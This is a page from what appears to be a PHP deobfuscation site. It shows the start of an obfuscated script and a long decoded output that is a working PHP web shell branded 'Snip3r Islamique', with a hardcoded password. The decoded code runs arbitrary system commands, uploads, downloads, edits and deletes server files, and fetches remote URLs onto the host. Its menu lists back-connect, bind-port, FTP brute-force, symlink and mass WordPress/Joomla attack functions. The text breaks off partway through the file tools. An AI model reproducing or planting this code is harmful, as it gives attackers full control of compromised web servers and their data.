Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $OOO0O0O00=__FILE__;$OOO000000=urldecode('%4d%72%2e%68%45%72%6f');$OO00O0000=285532;..
Decoded Output download
// Set Username & Password
$user = "afgha";
$pass = "afgha";
@define('VERSION','1.1');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()) {
function hErostripslashes($array) {
return is_array($array) ? array_map('hErostripslashes', $array) : stripslashes($array);
}
$_POST = hErostripslashes($_POST);
}
function printLogin() {
?>
<hr>
<?php }
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
{
setcookie("afgha", md5($pass));
$selfenter = $_SERVER["PHP_SELF"];
header("Location:$selfenter");
}
}
if((!isset($_COOKIE['afgha']) || $_COOKIE['afgha']!=md5($pass)) )
{
?>
<font size="6" face="Times New Roman, Times, serif" color="#00FF00"><br>
<head>
<title>Login Panel Snip3r Islamiqie Am@zigh</title>
</head>
<center>
<form method="POST">
<div style="background-color:#808080; width:435px; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:303px; background-image:url('Windows_7_-_Alien_from_outer_space.jpg')">
<table cellpadding="9" cellspacing="4" height="158">
<tr>
<td align="center" colspan="2"><font size="7"><b>
Login Panel
</tr>
<tr>
<td align="right"><b>User Name : </b></td>
<td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == 'User Name') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
</tr>
<tr>
<td align="right"><b>Password : </b></td>
<td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="hEro" onFocus="if (this.value == 'hEro'){this.value=''; this.style.color='black';}" onBlur="if (this.value == 'hEro') {this.value='hEro'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
</tr>
<tr>
<td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
</tr>
<tr>
</tr>
</table>
<p>Edit By Mr.hEro</div>
</form>
</center>
<br>
<body bgcolor="#000000">
</body>
</html>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ($_POST['pass'] == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
;echo '
';
echo ' ';
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (strtolower(substr(PHP_OS,0,3))=="win")
$sys='win';
else
$sys='unix';
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($sys == 'win')
{
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
function hEroEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
$down=@getcwd();
if($sys=="win")
$down.='\';
else
$down.='/';
if(isset($_POST['rtdown']))
{
$url = $_POST['rtdown'];
$newfname = $down. basename($url);
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while(!feof($file)) {
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
}
function hErohead()
{
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$on="<font color=#0F0> ON </font>";
$of="<font color=red> OFF </font>";
$none="<font color=#0F0> NONE </font>";
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<font color=red>ON</font>";
else
$safe_modes="<font color=#0F0 >OFF</font>";
if(@ini_get('open_basedir'))
$open_b=@ini_get('open_basedir');
else
$open_b=$none;
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else
{
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sh3ll Snip3r Islamique Am@zigh</title>
<style type="text/css">
<!--
.whole {
height:auto;
width: auto;
margin-top: 10px;
margin-right: 10px;
margin-left: 10px;
}
.header {
height: auto;
width: auto;
border: 1px solid #33FF33;
color: #FFFF00;
font-size: 13px;
font-family: Verdana, Geneva, sans-serif;
}
.header a {color:#00FF00; text-decoration:none;}
span {
font-weight: bolder;
color: #00FF00;
}
#meunlist {
font-family: Verdana, Geneva, sans-serif;
color: #00FF00;
background-color: #00FF00;
width: auto;
border-right-width: 7px;
border-left-width: 7px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #00FF00;
border-right-color: #00FF00;
border-bottom-color: #00FF00;
border-left-color: #00FF00;
height: auto;
font-size: 12px;
font-weight: Verdana;
border-top-width: 0px;
}
.whole #meunlist ul {
padding-top: 5px;
padding-right: 5px;
padding-bottom: 7px;
padding-left: 2px;
text-align:center;
list-style-type: none;
margin: 0px;
}
.whole #meunlist li {
margin: 0px;
padding: 0px;
display: inline;
}
.whole #meunlist a {
font-family: Verdana, sans-serif;
font-size: 14px;
text-decoration:none;
font-weight: bold;
color: #00FF00;
clear: both;
width: 100px;
margin-right: -6px;
padding-top: 3px;
padding-right: 15px;
padding-bottom: 3px;
padding-left: 15px;
border-right-width: 1px;
border-right-style: solid;
border-right-color: #00FF00;
}
.whole #meunlist a:hover {
color: #000;
background: #00FF00;
}
a:hover { background:#ff0000; }
.ml1 { border:1px solid #00FF00;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px; }
input, textarea, select { margin:0;color:#FF0000;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Times New roman"; }
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 80%; }
.main th {text-align:left;}
.main tr:hover{background-color:#FF0000;}
.main td, th{vertical-align:middle;}
pre {font-family:Courier,Monospace;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
}';
if(is_writable($GLOBALS['cwd']))
{
echo ".foottable {
width: 300px;
font-weight: bold;
}";}
else
{
echo ".foottable {
width: 300px;
font-weight: bold;
background-color:red;
}
.dir {
background-color:red;
}
";
}
echo '.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:red;}
.ml1{ border:1px solid #FF0000;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
</style>
';
echo "<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}</script>";
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div class="whole">
<form method=post name=mf style="display:none;">
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>
<div class="header"><table width="100%" border="0" align="lift">
<tr>
<td width="3%"><span>Uname:</span></td>
<td colspan="2">'.substr(@php_uname(), 0, 120).'</td>
</tr>
<tr>
<td><span>User:</span></td>
<td>'. $uid . ' [ ' . $user . ' ] <span> Group: </span>' . $gid . ' [ ' . $group . ' ] </td>
<td width="14%" rowspan="8"><img alt="" src="http://image.noelshack.com/fichiers/2013/08/1361523422-back.png" /></td>
</tr>
<tr>
<td><span>PHP:</span></td>
<td>'.@phpversion(). ' <span> Safe Mode:'.$safe_modes.'</span></td>
</tr>
<tr>
<td><span>IP:</span></td>
<td>'.@$_SERVER["SERVER_ADDR"].' <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>
</tr>
<tr>
<td><span>WEBS:</span></td>
<td width="76%">';
if($GLOBALS['sys']=='unix')
{
$d0mains = @file("/etc/named.conf");
if(!$d0mains)
{
echo "CANT READ named.conf";
}
else
{
$count;
foreach($d0mains as $d0main)
{
if(@ereg("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
echo "$count Domains";
}
}
else{ echo"CANT READ |Windows|";}
echo '</td>
</tr>
<tr>
<td height="16"><span>HDD:</span></td>
<td>'.hEroSize($totalSpace).' <span>Free:</span>' . hEroSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>
</tr>';
if($GLOBALS['sys']=='unix' )
{
if(!@ini_get('safe_mode'))
{
echo '<tr><td height="18" colspan="2"><span>Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
foreach($userful as $item)
if(hEroWhich($item))
echo $item.',';
echo '</td>
</tr>
<tr>
<td height="0" colspan="2"><span>Downloader:</span>';
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
foreach($downloaders as $item2)
if(hEroWhich($item2))
echo $item2.',';
echo '</td>
</tr>';
}
else
{
echo '<tr><td height="18" colspan="2"><span>useful:</span>';
echo '--------------</td>
</tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>
</tr>';
}
}
else
{
echo '<tr><td height="18" colspan="2"><span>Window:</span>';
echo hEroEx('ver');
}
echo '<tr>
<td height="5" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>
</tr>
<tr>
<td height="16" colspan="2"><span>cURL:'.$curl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' PostgreSQL:'.$pg.' Oracle: </span>'.$or.'</td><td width="15%"></td>
</tr>
<tr>
<td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.' Safe_mode_include_dir:'.$safe_include.'</td>
</tr>
<tr>
<td height="11"><span>Server </span></td>
<td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>
</tr>';
if($GLOBALS[sys]=="win")
{
echo '<tr>
<td height="12"><span>DRIVE:</span></td>
<td colspan="2">'.$drives.'</td>
</tr>';
}
echo '<tr>
<td height="12"><span>PWD:</span></td>
<td colspan="2">'.$cwd_links.' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>
</tr>
</table>
</div>
<div id="menu-box">
<style type="text/css">
div#menu {height:41px;background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;}div#menu ul {margin:0;padding:0;list-style:none;float:left;}div#menu ul.menu {padding-left:30px;}div#menu li {position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;}div#menu li:hover>ul {left:-2px;}div#menu a {position:relative;z-index:10;height:41px;display:block;float:left;line-height:41px;text-decoration:none;font:normal 12px Trebuchet MS;}div#menu a:hover, div#menu a:hover span {color:#00FF00;}div#menu li.current a {}div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;}div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);}div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);}div#menu a {padding:0 10px 0 10px;line-height:30px;color:#FF0000;}div#menu span {margin-top:5px;}div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;}div#menu li.last {background:none;}div#menu ul ul li {background:none;}div#menu ul ul {position:absolute;top:38px;left:-999em;width:163px;padding:5px 0 0 0;background:rgb(45,45,45);margin-top:1px;}div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:#000000(169,169,169);}div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);}div#menu ul ul a:hover span {color:#FF0000;}div#menu ul ul li.last {background:none;}div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:0;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);}div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);}div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;}div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;}
</style>
<div id="menu"><ul class="menu">
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li>
<li><a href="#">PHP</a>
<ul>
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
</ul>
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'brute\',null,\'\',\'\',\'\')">Ftp BRUTE</a></li>
<li><a href="#">NETWORK</a>
<ul>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li>
<li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li>
</ul>
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li>
<li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li>
<li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">Perl Sh3ll</a></li>
<li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-H</a></li>
<li><a href="#">TOOLS</a>
<ul>
<li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">Brute Force</a></li>
<li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li>
</ul>
</ul>
</div>
';
}
function hErofooter() {
$is_writable = is_writable($GLOBALS['cwd'])?"<font color=#32CD32>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class=info id=toolsTbl cellpadding=5 cellspacing=5 width=100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br>
<input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br>
<input class="toolsInp" type=text name=f style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></form></td>
</tr>
<tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br>
<input class="toolsInp" type=text name=d style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></form><?=$is_writable?></td>
<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br>
<input class="toolsInp" type=text name=f style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></form><?=$is_writable?></td>
</tr>
<tr>
</form>";
<td><form onsubmit="g('proc',null,this.c.value);return false;"><span>Execute:</span><br>
<input class="toolsInp" type=text name=c value="" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
<p align="center"><span> Upload file:</span><br></p>
<input class="toolsInp" type=file name=f style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"><input type=submit value=">>" style="color: #00FF00; border: 1px solid #FF0000; background-color: #000000"></form><?=$is_writable?></td>
</tr>
</table>
</div>
</body></html>
<?
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function hEroWhich($p) {
$path = hEroEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function hEroSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function hEroPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function hEroPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . hEroPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=#00FF00>' . hEroPerms(@fileperms($f)) . '</font>';
else
return '<font color=#00FF00>' . hEroPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function hEroFilesMan() {
hErohead();
echo '<div class=header><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_dir(@$_POST['p2']))
deleteDir(@$_POST['p2']);
else
@unlink(@$_POST['p2']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo '<h3><span>| Access Denied! |</span></h3></div>';hEroFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "
<table width='100%' class='main' cellspacing='0' cellpadding='2' >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Date Modified</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => hEroPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?hEroSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">[Rename]</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">[Touch]</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')"><font color=red>[Edit]</font></a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">[DL]</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> <font color=red>[Del]</font> </a></td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
</form></table></div>";
hErofooter();
}
function hEroFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
hErohead();
echo '<div class=header>';
if( !file_exists(@$_POST['p1']) ) {
echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
hEroFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?hEroSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.hEroPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
